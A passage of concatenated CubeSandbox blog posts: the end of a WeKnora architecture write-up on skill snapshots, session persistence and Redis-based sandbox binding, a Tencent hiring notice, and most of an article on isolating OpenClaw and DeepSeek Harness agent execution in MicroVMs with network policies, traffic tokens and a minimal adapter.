record the snapshot outright; pointers without an owner are discarded at session startup. Choosing the snapshot approach also has its costs, mainly two. Cube returns snapshots and regular templates from the same list API, so WeKnora's settings page must filter out the snap- prefix and the snapshot list — otherwise admins will pick a skill image as the base template. Additionally, as skills accumulate in snapshots with each install, the image slowly bloats. ## 4. Session Persistence: Keep-Alive and /workspace Agent sessions last minutes to hours, interspersed with thinking, waiting on users, and waiting on retrieval. If the sandbox is killed when the TTL hits, the user's next message pays a cold start, and intermediate files in /workspace, overlay packages, and uncollected artifacts all vanish. So session sandboxes are created with onTimeout=pause + autoResume: when idle, the MicroVM is frozen — saving compute while preserving memory state — and the next Connect wakes it automatically. From the user's perspective: the conversation is still there, and so is the environment. The Docker backend's handling makes an interesting contrast. Docker's pause still holds host memory, so freezing means not reclaiming. The Docker backend therefore kills on idle, and the binding layer rebuilds on next use — its aligned semantics are "if it's gone, treat it as rebuildable," not keep-alive. Different backends choosing their own semantics under the same abstract interface is exactly the value of the neutral interface layer. The other half of the environment is the filesystem. If envd's read/write were only for the installer, the Agent would be "blind" inside sessions. WeKnora shaped the Files API into a session filesystem, solving four things: * **Attachments**: object storage is the source of truth; at session start they're restored to /workspace/input (read-only by convention), and skills get this directory via environment variables; * **Artifacts**: scripts write to /workspace/output; at the end of a turn, they're collected and downloaded as the same tree — no "model reads the file and pastes it into chat," and no context window consumed; * **Model-written files**: generated scripts land directly on disk instead of being stuffed into shell command heredocs; * **Cross-tool-call workspace**: multiple executions within the same session see the same tree. This is the part of the "persistent runtime" that is visible to the model. The skill image is a read-only "release"; /workspace is the writable "machine for this turn." Two paths, two sets of permissions — the Files API is the formal entry point for the latter. ## 5. Identity Persistence: The Redis Binding Layer and Orphan Reclamation Cube's TTL plus AutoPause manages the MicroVM's own lifetime: pause when idle, resume on the next Connect. It knows nothing about WeKnora's sessions, tenants, replicas, or skill generations. All of these application semantics sit on the Redis binding layer: | What Cube Provides | What Redis Adds | |:--|:--| | Sandbox ID, TTL, pause | **Authoritative session → sandbox binding** (multi-replica WeKnora must share it; in-memory binding only works for single-process development) | | Single Create | **Lifecycle lock**: create/recover/replace/delete serialized across processes, preventing one session from starting two VMs | | metadata (we tag tenant/session/config) | After binding loss, **claim** via metadata; only create new if unclaimable. TTL/pause can't save you from "the binding write was lost" | | Sandbox expires on its own | Bindings **never expire** (SET NX, TTL=0). If the session lives on and the sandbox is paused, the binding must exist so you resume instead of buying another machine | | No concept of "image has changed" | StaleAt marker + turn lease (see below) | | Paused still occupies snapshot storage and money | Orphan reclamation: after a binding is overwritten or Redis is lost, paused sandboxes occupy disk. Cube won't delete based on "does WeKnora still recognize it" | The most typical problem this layer faces is billing. Session sandboxes use onTimeout=pause; once a binding is lost, the Cube side holds a paused VM that occupies storage indefinitely. So a reaper layer is required: periodically reconcile by tenant metadata and delete unbound instances (including paused ones). The division of labor between the two layers is therefore crystal clear: **Cube keeps the sandbox alive; Redis governs "which session this sandbox belongs to, whether it can be torn down, and whether the image should be swapped."** ## 6. The Turn Lease: Admin Installs a Skill While the User Is Mid-Conversation Persistent environments bring a unique conflict: the admin is installing a skill while the user is mid-conversation — they're contending for the same VM. The concrete scenario: one Agent turn resolves the sandbox many times — staging attachments, several command executions, running skill scripts, collecting artifacts — all assuming /workspace and processes still exist. Skill installation often happens mid-conversation: after the first tool call, the admin finishes the install, and the second tool call tears down the VM — this turn's drafts, packages installed into the overlay, and running execs all disappear. From the model's perspective: "the files that were just there are gone." Not tearing down doesn't work either. After a skill installs successfully, if existing sessions aren't marked, the skill the user just installed stays invisible in the current conversation forever — the pointer switch only affects newly created sandboxes. WeKnora's solution separates "declaring" from "acting": * **StaleAt is the declaration**: the image has changed, but no action yet. * **rebuild=1 at BeginTurn**: **the first resolve of this turn is allowed to tear down and rebuild; ConsumeTurnRebuild immediately resets it to zero.** Subsequent resolves in the same turn keep using the current sandbox even if still stale. * With no lease (no AgentQA in flight), stale still rebuilds immediately — background tasks and idle sessions don't need to wait. * When the Redis lease read fails, treat it as a turn in flight — don't tear down. "Rebuild only once" guards against another scenario: multiple resolves within one turn plus another install arriving in between, tearing down the VM repeatedly. Once the ticket is consumed, no more rebuilds this turn. Turn markers leaked by process crashes are expired by a 30-minute TTL backstop — rebuilding a stale image at that point is expected behavior. ## 7. What Was Pre-Designed, What Was Learned the Hard Way, and a Checklist for Those Who Follow Among the designs above, some were laid down in advance during architecture design: * Backend-agnostic RemoteSandboxClient, capabilities advertised via capability, never `if cube`. * Session-level sandbox + Redis binding + lifecycle lock. * SSRF protection for tenant-controlled URLs: validate at save time + validate again at dial time (against DNS rebinding); even when private networks are allowed, link-local / cloud metadata endpoints are blocked. * Skills installed into snapshots, sessions started from snapshots; ledger written before CreateSnapshot. * Scripts and non-root user (uid 1000) execution; installation goes through a separate root interface. * Working directory locked to /workspace, skill tree at /opt/weknora/tenant/skills, scratch cleaned before snapshotting. Among the pre-designed items, network policy handling deserves its own explanation. Cube's network control has two switches governing two orthogonal dimensions: allowInternetAccess governs outbound — whether the sandbox can actively reach the public internet, with curl/pip connectivity determined by it layered with allowOut/denyOut/L7 rules; allowPublicTraffic governs inbound — whether the sandbox's public URL is publicly reachable; when off, all inbound traffic must carry a traffic token or gets 403. WeKnora explicitly sets both switches when creating every sandbox, guarding against default drift — omit them in config, and the server falls back to template defaults; change the template, and production behavior changes with it. allowPublicTraffic explicitly set to true is a hard requirement: WeKnora's files, execution, and terminal all go through CubeProxy data-plane URLs — turn it off, and our own access gets 403 first. Currently, outbound is fully open by default — a deliberate starting choice, since skill installation needs to pull packages, so connectivity comes first; fine-grained per-space/per-session outbound allowlists are still being tightened. The other part is experience distilled from pitfalls we stepped into during operation: * Cube templates must carry envd, otherwise the :49983/health probe gets connection refused — hence the dedicated -cube image variant. * Snapshots mixed into the template list — the settings page must filter the snap- prefix. * ListSnapshots pagination tokens repeating in a loop causes failure — skill orphan cleanup once deadlocked on this. * Generic E2B data-plane compatibility: envd requires Basic auth, an X-User-ID header, and multipart uploads while the SDK sends raw octet-stream — E2B Cloud is lenient; other implementations return 401/500 directly. * Saving from the settings page once wiped the SkillImage pointer — skills "in the list but not in sessions" — the update API now forbids clients from touching snapshot fields and endpoints. * Tearing down a VM mid-turn destroys /workspace — the turn lease. * Named-config field-level inheritance once silently dialed to 127.0.0.1 — changed to named configs being self-contained, not inheriting the deployment baseline's endpoint. * A command blacklist blocked even the recovery suggestion for `pip install` — changed to making skills read-only after installation with kernel-level write denial, and only then prompting the overlay path on failure. For teams also building Agent platforms, we recommend verifying these eight things first (along the "skill persistence" path, not "as long as exec works"): 1. Can a snapshot ID be used directly as a template to create new sandboxes? Are snapshots mixed into the template list? 2. When snapshotting a running instance, does the original sandbox remain usable? Is snapshotting during pause stable? 3. With pause + Connect auto-resume, are the filesystem and memory still there? Are paused instances still billed? How do you List them? 4. Can metadata set at Create be Listed back by tenant/session — without this, multi-replica and crash recovery are left to the luck of your own binding store; 5. Do the two outbound switches really take effect orthogonally as documented? Does DNS work inside private networks? 6. The data-plane envd contract — Basic auth, multipart upload, non-root account. Don't test only against the official gateway; it's more lenient; 7. Does the image include envd? Without it, health checks fail immediately; 8. Pagination, delete idempotency, name echo — skill images are billed resources; when a process dies in the "created but not yet persisted" window, you must be able to claim by name or reconcile by List. At the architecture level, capabilities WeKnora still lacks include: mounting volumes at Create (Cube's CreateOptions has no volume-mount field yet — there's currently no path for shared datasets or hot-updating large files); separating snapshots and templates into different directories (mixing them pollutes the "pick a base template" product experience and adds mis-deletion risk); application-layer callbacks for pause/timeout (today we can only scan List ourselves — WeKnora isn't notified when TTL hits, so orphans can only be reconciled periodically); and first-class session identity — Cube manages VMs, not "which session this is," so bindings, leases, staleness, and orphans all live on the application side. If the control plane could natively recognize metadata ownership and reclaim unclaimed instances by policy, the Redis layer could slim down significantly. **WeKnora project:** --- --- url: https://cubesandbox.com/blog/posts/2026-09-30-cubesandbox-hiring.md description: >- Five months after open-sourcing, CubeSandbox has earned 12,000+ stars from developers across time zones. The AI Agent era is arriving, and we're looking for someone to build the foundation with us: R&D Engineer for the Tencent Cloud CubeSandbox elastic computing platform (Shenzhen), full-stack platform development from internal business support to open-source community building. --- # Global Hiring: Building the Foundation for AI Agents Worldwide — Join Us Five months ago, we open-sourced CubeSandbox. Today, its footprints have landed around the world — China, Japan, India, Iran, Canada, Mexico, Italy, Singapore… 12,000+ stars from developers across time zones. But we believe this is just the beginning. The AI Agent era is arriving. Every piece of code an Agent writes, every command it executes, every file it opens needs a safe place to run. That is the mission of the sandbox: to build a faster, more stable, more efficient foundation runtime for AI agents everywhere. **What CubeSandbox aims to do is bring such sandboxes to the whole world — with faster, better, more stable products and technology, reaching more countries and regions.** This is a big undertaking. That's why we're looking for someone to build it — and dream it — together with us. ## The Role **Tencent Cloud – CubeSandbox Elastic Computing Platform R\&D Engineer (Shenzhen)** * **Business Group**: CSIG (Cloud and Smart Industries Group) * **Category**: Technology / Technical R\&D * **Location**: Shenzhen, China **Responsibilities:** 1. Own requirements development, performance, and quality assurance across the full stack of the CubeSandbox elastic computing platform, including but not limited to the control plane, scheduling, virtualization, storage, networking, and low-level system software; 2. Support internal business needs of Tencent Cloud CubeSandbox and the day-to-day R\&D maintenance of the external open-source community; 3. Continuously explore new Infra requirements from Agents based on the CubeSandbox platform. **Requirements:** 1. Bachelor's degree or above in a computer-related field, with 3+ years of relevant work experience; 2. Solid systems programming skills (Rust / Go / Python), with good taste for clean, maintainable code and architecture; 3. Passionate about how systems work under the hood, with strong curiosity for new technologies and the persistence to follow them long-term; 4. Large-scale, real-world project experience in at least one of: computer architecture, networking, storage, virtualization, or scheduling — or an obsession with performance; 5. Strong teamwork and problem-solving under hard problems. To apply, or if you have any questions about the role, please email **cubesandbox@tencent.com**. And feel free to forward this to anyone who comes to mind. From Shenzhen to Tokyo, from Toronto to Milan — great infrastructure knows no borders. We hope that one day, every Agent in the world runs on the foundation we built. Come join us, and let's make it happen together. --- --- url: https://cubesandbox.com/blog/posts/2026-09-30-openclaw-dsh.md description: >- OpenClaw and DeepSeek Harness (DSH) are more than chat pages. For enterprises, four questions must be answered: is execution safe, is the environment reproducible, can idle resources be reclaimed, and is the experience smooth when the user returns for the next turn. Using a CubeSandbox v0.7.0 cluster on Kubernetes, this article runs four real end-to-end paths: OpenClaw and DSH creating MicroVMs, executing code, and auto-destroying them — via Skills, and via Tool Plugin / Cordis Plugin without Skills. --- # Hardening OpenClaw and DSH with CubeSandbox: An Enterprise Secure Execution Plane in Practice By｜runzhliu > This article was first published on the author's aik8s blog and WeChat official account. It is reposted by the Cube Sandbox official account with the author's consent, with minor adaptive edits. OpenClaw and DeepSeek Harness (DSH) are not just chat pages. They can read and write files, run shells, drive browsers, install dependencies, and hold long-lived sessions. The closer the capabilities get to a real development machine, the less an enterprise can settle for asking "does it run" — four more questions must be answered: is execution safe, is the environment reproducible, can idle resources be reclaimed, and is the experience smooth enough when the user comes back for the next turn. With these four questions in mind, we used a CubeSandbox v0.7.0 cluster already deployed on Kubernetes to run four real end-to-end paths: OpenClaw 2026.7.1 and DSH 0.1.1-rc.2, each via a Skill, and via a Tool Plugin / Cordis Plugin without reading any Skill — creating MicroVMs, executing code, and automatically destroying them. This article records the full verification process. ## 1. Set the Boundary First: The Agent Is the Control Plane, the Sandbox Is the Execution Plane The recommended architecture: ![Recommended architecture: Agent as control plane, Sandbox as execution plane](./assets/2026-09-30-openclaw-dsh/01-architecture.jpg) *Figure 1: Recommended architecture — Agent as control plane, Sandbox as execution plane* This boundary matters: * OpenClaw / DSH keep session facts, user identity, model calls, and approval records; * CubeSandbox only receives the workspace, resources, network, and short-term identity necessary for the current task; * When a Sandbox is compromised, the attacker still has to cross an independent MicroVM, egress policies, and tool authorization to affect other sessions or the control plane; * Destroying a Sandbox must not delete the OpenClaw state directory or DSH\_HOME — the two belong to different lifecycles. If the Gateway, plugins, model keys, browser Profiles, and untrusted code are all placed in the same long-running container, the isolation value of MicroVMs is largely undermined. ## 2. What Exactly Does It Improve for OpenClaw / DSH ### 2.1 Safer: From "Restricting Directories" to "Isolating the Execution World" DSH's built-in dsh-sandbox targets process restriction within the same operating system. The official docs state it controls filesystem side effects through bwrap, Landlock, Seatbelt, and similar mechanisms; containers, MicroVMs, and remote execution are not backends of this seam — they replace the entire set of Shell and file capabilities. With OpenClaw's Sandbox enabled, the Gateway stays on the host environment while tool execution can go into Docker, SSH, or OpenShell backends. The official docs likewise stress this is not a perfect security boundary; plugins and the Gateway process still belong to the trusted control plane. What CubeSandbox adds is another execution boundary: * Every sandbox uses an independent MicroVM kernel; * Every session gets an independent rootfs, processes, network, and lifecycle; * Egress can be fully closed, or controlled by CIDR, domain, protocol, Host, Path, and SNI; * Public entrypoints can require a per-sandbox traffic token; * The L7 proxy can inject credentials only toward allowed targets — real tokens never need to enter sandbox environment variables. But MicroVMs cannot replace tool authorization. Whether a model may call kubectl, delete a repository, commit code, or access production APIs is still decided by OpenClaw / DSH and the enterprise Tool Gateway. ### 2.2 Faster: Templates and Snapshots Eliminate Repeated Preparation What hurts the enterprise Agent experience most is often not the model's first token, but execution-environment preparation: pulling images, installing Node/Python, restoring workspaces, launching browsers, re-establishing tool connections. CubeSandbox can move these actions earlier: * Pin Git, Python, Node, browsers, and the enterprise CA into templates; * Manage environment versions with template aliases, avoiding per-Agent installs; * Pause when idle, releasing CPU and memory; * Resume on the next turn, restoring the filesystem and MicroVM memory; * Use Snapshot, Rollback, and Clone for parallel attempts and fast rollback. Our single-creation sample from a READY template was 134 ms. Pause and Resume are second-level; whether they beat recreation depends on template size, snapshot backend, node cache, and concurrency — so test with real workspaces rather than applying this one number directly. ### 2.3 Smoother: One-to-One Mapping Between Session and Sandbox Lifecycles Users want to "come back and continue later," not to understand Pods, containers, and VMs. The adapter layer should hide the underlying states: The control plane should persist at least these fields: | Field | Purpose | |:--|:--| | tenant\_id / user\_id / session\_key | Determine tenant and session ownership | | sandbox\_id | Connect to or reclaim the MicroVM | | traffic\_access\_token | Access the protected data plane; store encrypted | | template\_alias / Digest | Guarantee environment reproducibility | | network\_profile | Record the actual egress policy | | state / last\_seen\_at | Pause, Resume, Kill, and reclamation | | request\_id / trace\_id | Tie together Agent, API, proxy, and audit logs | All lifecycle operations must be idempotent. Successful creation with failed DB writes, resume timeouts, client disconnects, and duplicate callbacks must never leave an unclaimed sandbox behind. ### 2.4 Better for Enterprise Platforms: Control and Execution Planes Scale Separately OpenClaw / DSH Runtime's pressure comes from model streams, sessions, channels, and plugins; CubeSandbox's pressure comes from VM creation, CPU, memory, snapshots, and networking. Once split, they can be scaled, rate-limited, and upgraded independently: * Runtime Pools split by business, department, or trust domain; * Sandbox Node Pools split by general code, browser, data analysis, or GPU templates; * The enterprise control plane uniformly issues templates, networks, quotas, and TTLs; * A Runtime no longer needs a local Docker Socket, nor does it hand host directories directly to Agents. ## 3. How OpenClaw and DSH Should Integrate ### 3.1 OpenClaw: Three Paths | Path | Implementation | Pros | Limitations | Recommendation | |:--|:--|:--|:--|:--| | Official CubeSandbox Skill | Agent follows the Skill's guidance to call the Cube SDK | Fastest to start; official examples exist | Not an OpenClaw native backend; ordinary exec may still go through other execution planes | PoC | | Enterprise Adapter / Plugin Tool | Register audited cube\_exec, cube\_read, cube\_write, cube\_release | Controllable parameters and policies; easy to add tenancy, audit, and quotas | Requires maintaining a small amount of adapter code; the current reference implementation has no PTY | Recommended starting point — verified in this article | | Run the entire OpenClaw inside CubeSandbox | Create an assistant from an OpenClaw template via Digital Assistant / AgentHub | Assistants can be snapshotted, rolled back, cloned | Currently Preview; Runtime, state, and execution boundaries easily get mixed again | Demos, personal assistants, early validation | The CubeSandbox official repository already provides the examples/openclaw-integration Skill, suitable for verifying "can the Agent proactively put code into a MicroVM." The enterprise version is better served by wrapping SDK calls into fixed Plugin Tools: the model only supplies commands, files, and policy tiers — it cannot freely assemble CubeAPI management requests. This article implements and verifies this path against OpenClaw's official defineToolPlugin interface; see [openclaw-plugin](https://github.com/runzhliu/aik8s/tree/main/examples/cubesandbox-openclaw-dsh-direct/openclaw-plugin). The built-in Sandbox backends listed in OpenClaw's current public docs are mainly Docker, SSH, and OpenShell — CubeSandbox should not be treated as an already natively supported fourth backend. Without a verified backend interface, registering standalone Cube tools and disabling host exec for untrusted sessions is easier to keep in sync with upstream than deeply modifying the Gateway. ### 3.2 DSH: Hard-Route via Cordis Tool Plugin First, Then Evolve to a Provider DSH's composable design suits remote execution planes well, but the integration point must be right: | DSH Capability | CubeSandbox Mapping | |:--|:--| | ctx.shell | sandbox.commands.run() | | ctx.fs | sandbox.files.read/write/list/... | | ctx.terminals | sandbox.pty | | Code interpreter | sandbox.run\_code() | | Session initialization | Sandbox.create() or connect to an existing instance | | Idle reclamation | lifecycle.on\_timeout=pause/kill | | Task cancellation | Terminate the command / PTY; Kill the Sandbox if necessary | DSH's approval and read-only / workspace-write / danger-full-access semantics stay in the control plane. The Provider decides which sandbox capability to invoke based on approved policies; CubeSandbox then enforces resource, network, and MicroVM isolation. This article first implements a landable middle layer: a Cordis Plugin registers four Cube tools via ctx.tools.register, and a Profile Patch disables tool-bash, tool-pwsh, tool-fs, tool-fs-search, and tool-str-replace-editor, forcing the model's command and file operations through the Adapter only. See [dsh-plugin](https://github.com/runzhliu/aik8s/tree/main/examples/cubesandbox-openclaw-dsh-direct/dsh-plugin). It has shed the Skill and host wrapper scripts, but the tool names are still cube\_\* — not yet a transparent replacement for DSH's original Bash / Editor / Terminal. Don't implement CubeSandbox as just ctx.sandbox. DSH officially defines that interface as same-world confinement; the eventual remote MicroVM Provider should replace a consistent set of Shell, file, and terminal capabilities — otherwise, within one turn, some tools may run locally and others in the VM, distorting working-directory and permission semantics. ## 4. The OpenClaw Direction Is Already Visible in the WebUI CubeSandbox v0.7.0's WebUI "Digital Assistant" page already puts OpenClaw assistants, model services, assistant templates, and team sharing into one entry. The page is clearly marked Preview — good for demos and early validation; it should not be misrepresented as a stable enterprise multi-tenant control plane. ![The Digital Assistant page in CubeSandbox WebUI](./assets/2026-09-30-openclaw-dsh/02-webui-digital-assistant.jpg) *Figure 2: The Digital Assistant page in CubeSandbox WebUI* If you choose this path, you still need to build SSO, tenancy, approval, model and tool catalogs, budgets, audit, and release processes around it. The safer production form is usually: an enterprise control plane manages multiple controlled OpenClaw / DSH Runtimes, and the Runtimes call the CubeSandbox execution plane. ## 5. Hands-On: Verifying the Full Chain an Agent Session Needs ### 5.1 Prerequisites The experiment uses: * Kubernetes v1.30.x; * CubeSandbox v0.7.0; * A READY sandbox-code template alias; * Local access to CubeAPI and CubeProxy; * Python SDK pinned at cubesandbox==0.7.0. Production should use trusted DNS, TLS, and API Keys. The 127.0.0.1 below only represents a local experiment entry established via kubectl port-forward: Preparing the SDK: Note that CUBE\_PROXY\_SCHEME is not set here: the cubesandbox==0.7.0 Python SDK does not read this variable. After connection-parameter upgrades, always go back to the corresponding SDK version's source or official docs to verify — never infer variable names from other languages' SDKs. The full script in the repository is [scripts/cubesandbox\_openclaw\_dsh\_smoke.py](https://github.com/runzhliu/aik8s/blob/main/scripts/cubesandbox_openclaw_dsh_smoke.py). It does not start OpenClaw or DSH; it directly verifies the execution-plane contract that both Adapters must depend on. ### 5.2 Creating a Controlled Session Sandbox The core creation parameters are as follows: These fields correspond to a sane enterprise default: * Pause when the session is idle, rather than holding compute forever; * No arbitrary public internet access; * External access to sandbox services must carry the traffic token; * metadata holds only tracing and policy labels — no user privacy or secrets. In Chrome, the live running count becomes 1. The screenshot keeps only the counter area; sandbox ID, template ID, and node address are cropped out: ![WebUI live running count becomes 1](./assets/2026-09-30-openclaw-dsh/03-running-count.jpg) *Figure 3: WebUI live running count becomes 1* ### 5.3 Executing Shell, Files, and Python Commands in the test template run as Guest UID 0 by default. Root inside a MicroVM is not host root, but enterprise templates should still prefer non-root users, minimal software sets, and read-only base layers — avoid pointlessly widening privileges inside the Guest. ### 5.4 Verifying Egress and Ingress Boundaries The script tries connecting to a public address from the sandbox and fails — so allow\_internet\_access=False is in effect. Then the sandbox data-plane health endpoint is accessed directly: | Request | Response | |:--|:--| | Without e2b-traffic-access-token | 403 | | With the token returned at creation | 204 | This proves that "knowing the sandbox domain or ID" is not enough to access protected services. Production should additionally restrict the CubeProxy network entrypoint, plus TLS, API authentication, rate limiting, and audit. ### 5.5 Pause, Resume, and Verify State Results from this run: * File contents after Resume are still session=demo, turn=1; * The Python in-memory variable continues incrementing from 41 to 42; * Pause took about 2.18 s; * Resume took about 2.72 s. The observability page simultaneously shows one running sandbox. The temporary sandbox was destroyed after the screenshot: ![The observability page shows one running sandbox](./assets/2026-09-30-openclaw-dsh/04-observability.jpg) *Figure 4: The observability page shows one running sandbox* ### 5.6 Measured Output The script output, sanitized, is as follows: kill() is always called in finally. After the screenshot, Sandbox.list() was called again — the cluster sandbox count was 0. ## 6. Two Real Failures: The Details That Decide Whether the Experience Is "Silky" ### 6.1 A Fresh Install's CubeProxy admin token May Be Inconsistent On the first Pause → Resume, the resume failed: The v0.7.0 Chart's helper comments already explain why: when lifecycleManager.adminToken is empty, a single render of a fresh install may let the release Secret and the CubeMaster config each generate their own random value; only the next Helm upgrade reuses the existing Secret via lookup. The experiment environment upgraded with the original value and restarted CubeMaster, which mounts its config via subPath: A safer production practice is to generate a random value of at least 16 characters in the release system and securely inject lifecycleManager.adminToken, ensuring a single render has exactly one source; never commit real tokens to Git. After the fix, you can compare digests only, without printing the token itself: Also note: an updated Secret does not mean processes using subPath have read the new file. If the Pod Template checksum wasn't triggered, roll CubeMaster explicitly. ### 6.2 Don't Lose the traffic token After connect() With network.allow\_public\_traffic=false, the v0.7.0 Python SDK returns the traffic token only in the create() response. The new object returned by Sandbox.connect() does not contain it; if the Adapter only saved sandbox\_id, file and command calls after recovery will be rejected by CubeProxy with 403. Therefore, an enterprise Adapter must: 1. Save both sandbox\_id and traffic\_access\_token at creation; 2. Encrypt the token in the database; keep only digests in logs and traces; 3. Carry the token on every data-plane request; 4. Delete the mapping and token immediately after Kill; 5. Re-verify Connect / Resume behavior after SDK upgrades. This script completed the test using resume() on the retained original SDK object, so the original traffic token was still in memory. Cross-process recovery cannot rely on this. ## 7. The Minimal Design of an Enterprise Adapter Don't start by implementing a full IDE, browser, and every E2B API. The first version only needs to cover the five operations OpenClaw / DSH use most: This time, the minimal design was written as a runnable reference implementation: [examples/cubesandbox-openclaw-dsh-direct](https://github.com/runzhliu/aik8s/tree/main/examples/cubesandbox-openclaw-dsh-direct). The call relationship is not "the Plugin directly holds Cube admin privileges," but: The Adapter currently implements these defenses: * The model can only request the platform-preset offline-code profile — it cannot pass template IDs, CIDRs, public traffic, or lifecycle configs; * Session keys only pass between Runtime and Adapter; what lands in logs is a keyed HMAC-SHA-256 digest; * Files are limited to /workspace and /tmp, path traversal is rejected, and request/command/file/output/timeout sizes are capped; * The Cube API Key, traffic token, and full Sandbox ID stay only in the Adapter; the opaque lease flows only along the Plugin–Adapter control path; model results return only an 8-character sandbox\_ref; * Audit records only Runtime, action, short reference, request ID, latency, result, and command/path digests — never command bodies, file contents, stdout, stderr, or tokens; * The /audit demo page is off by default; production should feed the JSONL into an immutable audit pipeline. This is still a reference implementation, not a ready-made multi-tenant control plane. Leases are currently kept in-process, so the example Deployment explicitly runs only 1 replica; before going HA, leases, encrypted traffic tokens, and owner fencing must move into a persistent service, or sessions must be stably routed to a unique owner. There is currently no PTY, streaming output, cancellation, tenant quotas, approval callbacks, or cross-process recovery either — a single successful test run cannot be claimed as production-ready. ### 7.1 Policy Tiers Don't let the model freely submit arbitrary CIDRs and host mounts. The platform maintains a limited set of policy tiers: | Profile | Network | Workspace | Suitable Scenarios | |:--|:--|:--|:--| | offline-code | Fully offline | Ephemeral volume | Data processing, unknown scripts | | repo-build | Only internal Git, package mirrors, and artifact repos | Session Volume | Build and test | | web-research | HTTP/HTTPS only, via L7 audit | Ephemeral volume | Browsing and data extraction | | model-tool | Only Model / Tool Gateway, proxy-injected credentials | Ephemeral volume | Agent subtasks | | approved-release | Approved release endpoints only | Controlled Volume | Release tasks requiring human approval | The model may request a Profile; the final choice is made by the policy engine and human approval. ### 7.2 State and Workspace It's recommended to separate state: Don't mount the full host home, SSH directories, cloud credential directories, or the Docker Socket into a MicroVM. When data sharing is truly needed, use read-only Volumes, object storage, or controlled upload interfaces. ### 7.3 Credentials The order of preference should be: 1. The Tool Gateway issues short-term identities per user and action; 2. CubeEgress injects Headers only toward matching HTTPS Host / SNI; 3. Read-only files or in-memory injection of short-term tokens; 4. Environment variables only as a last resort. Model API Keys, Git tokens, and cloud credentials should never be written into templates, snapshots, command lines, metadata, or ordinary logs. ## 8. How to Actually Play with OpenClaw and DSH on CubeSandbox What follows is not a feature list, but real playbooks from a ten-minute PoC to an enterprise Adapter. Each item comes with operations, prompts, and acceptance criteria. ### 8.1 OpenClaw Hands-On: The Model Automatically Invokes the Skill, Executing Inside a MicroVM The CubeSandbox official repository already provides an OpenClaw Skill. First install it into the target OpenClaw workspace: A Skill is not a remote execution protocol, nor does it automatically rewrite OpenClaw / DSH's Shell Provider. How it works: the Runtime presents SKILL.md to the model as operating instructions; the model then calls host tools to launch a wrapper script; the wrapper script uses the Cube SDK; the SDK reaches CubeAPI via CUBE\_API\_URL and the Sandbox data plane via CUBE\_PROXY\_NODE\_IP / CUBE\_PROXY\_PORT\_HTTP; finally CubeSandbox schedules a MicroVM to execute the task. Therefore, seeing the model "read the Skill" only proves it chose this set of instructions — you still need the live Sandbox instance, SDK results, and cleanup state to prove the task truly entered a MicroVM. Next, configure CubeAPI, CubeProxy, Template, and API Key as OpenClaw process environment — never write them into SKILL.md or the Agent Prompt. The official example uses E2B-compatible environment variables; new projects can also use the cubesandbox SDK directly. This article also provides a [minimal OpenClaw Skill](https://github.com/runzhliu/aik8s/tree/main/examples/cubesandbox-openclaw-dsh/openclaw-skill/cube-sandbox) that keeps only execution, offline verification, and cleanup logic. It writes user code into the remote MicroVM; the wrapper script itself accepts only code and platform-preset policies — the model cannot assemble CubeAPI management requests on its own. Give OpenClaw a clear task: When accepting, don't just look at the final number — also check: * CubeSandbox WebUI's running count goes 0 → 1 → 0; * The Agent did not create /tmp/input.py locally on the OpenClaw Gateway; * allow\_internet\_access=false actually blocked connections; * The exception path still executes Kill. This path suits a ten-minute PoC. It usually still requires OpenClaw to launch the Python SDK locally via exec, so "installed the Skill" must not be equated with "host execution is closed." The enterprise version should continue with Plugin Tools. This time, instead of only verifying the wrapper script, we started the full OpenClaw Gateway and Control UI: * OpenClaw: official container image 2026.7.1; * Model: openai/gpt-5.6-sol, via the officially supported ChatGPT / Codex device login; * Skill: loaded from openclaw-workspace, status eligible=true, modelVisible=true; * Cube SDK: cubesandbox==0.7.0; * Template alias: agent-code; * Network policy: public egress denied, public traffic denied. After sending the above task in OpenClaw Control UI in Chrome, the model first read SKILL.md, then invoked the wrapper script. The "Activity: 2 tools" on the page is real tool activity, not a log spliced together after the fact: ![Tool activity in OpenClaw Control UI](./assets/2026-09-30-openclaw-dsh/05-openclaw-activity.jpg) *Figure 5: Tool activity in OpenClaw Control UI* Expanding the tool activity shows two Bash calls: the first reads the Skill, the second runs cube\_agent\_task.py. The user's Python code did not execute on the Gateway container host: ![Expanded details of the two Bash calls](./assets/2026-09-30-openclaw-dsh/06-openclaw-tools.jpg) *Figure 6: Expanded details of the two Bash calls* The actual result of this Agent session: After the task completed, Sandbox.list() was called again and returned an empty list. This simultaneously proves: OpenClaw really chose the Skill, the code really entered a MicroVM, the offline policy took effect, and the safe exception-cleanup path left no active sandbox behind. ### 8.2 OpenClaw Playbook 2: One Sandbox per Session — Come Back the Next Day and Continue Implement an internal Plugin that exposes a fixed set of tools: The Plugin looks up the lease by the current OpenClaw sessionKey; the model never passes sandbox\_id or traffic token directly. Suggested flow: 1. Create a Sandbox when the first code task arrives; 2. Write sessionKey → sandbox\_id + encrypted token into the lease table; 3. Refresh the TTL on every tool call; 4. Auto-Pause after five idle minutes; 5. Auto-Resume on the next message; 6. Kill when the user closes the session, an admin reclaims it, or the maximum lifetime expires. You can verify the "smoothness" with two rounds of conversation: Acceptance criteria: the second round re-reads the first round's files without re-uploading the project; the WebUI shows paused → running; after an OpenClaw restart, the same session can still be found via the lease table. For untrusted group chats, disable host exec/read/write and keep only audited Cube tools; whether the main session gets higher privileges should be decided by an independent Tool Policy — not by prompts alone. ### 8.3 OpenClaw Playbook 3: Snapshot, Clone, and Rollback with Digital Assistant CubeSandbox WebUI's Digital Assistant path turns the entire OpenClaw Runtime into an assistant template: 1. In "Model Service Settings," configure the Provider, Base URL, Model, and managed API Key; 2. Prepare a lightweight or all-in-one OpenClaw assistant template from the template marketplace; 3. Create a personal assistant; 4. Install Skills, configure channels, or modify Agent instructions; 5. Create a Snapshot at a stable point; 6. Rollback when a change fails; 7. Clone a new assistant from a stable snapshot and compare the two configurations. Fun experiments include: 1. Clone one base assistant into three roles: "dev," "ops," "data analysis"; 2. Snapshot before a Skill upgrade; roll back in seconds if validation fails; 3. Clone two instances with different models or Prompts for A/B evaluation; 4. Before converting a personal instance to team-shared, check whether keys, memory, and browser Profiles are wrongly inherited. This time we only verified the pages and preparation steps in the real WebUI — no model Key configured, no OpenClaw instance created. Digital Assistant is officially marked Preview; this part belongs to the next stage of experiments and is not counted among this article's "passed" results. ### 8.4 DSH Hands-On: DeepSeek V4 Pro Automatically Loads the Skill and Invokes the Wrapper Tool DSH can likewise start with light integration: give it a Skill that requires calling a fixed cube-run wrapper tool whenever it encounters untrusted Shell, repositories, or attachments. The wrapper tool internally uses the Cube SDK; DSH only sees stable parameters: A prompt suitable for actually playing with: This step is a small change, good for first verifying networking, file semantics, and long-command output. Its downside: DSH's built-in Shell and file 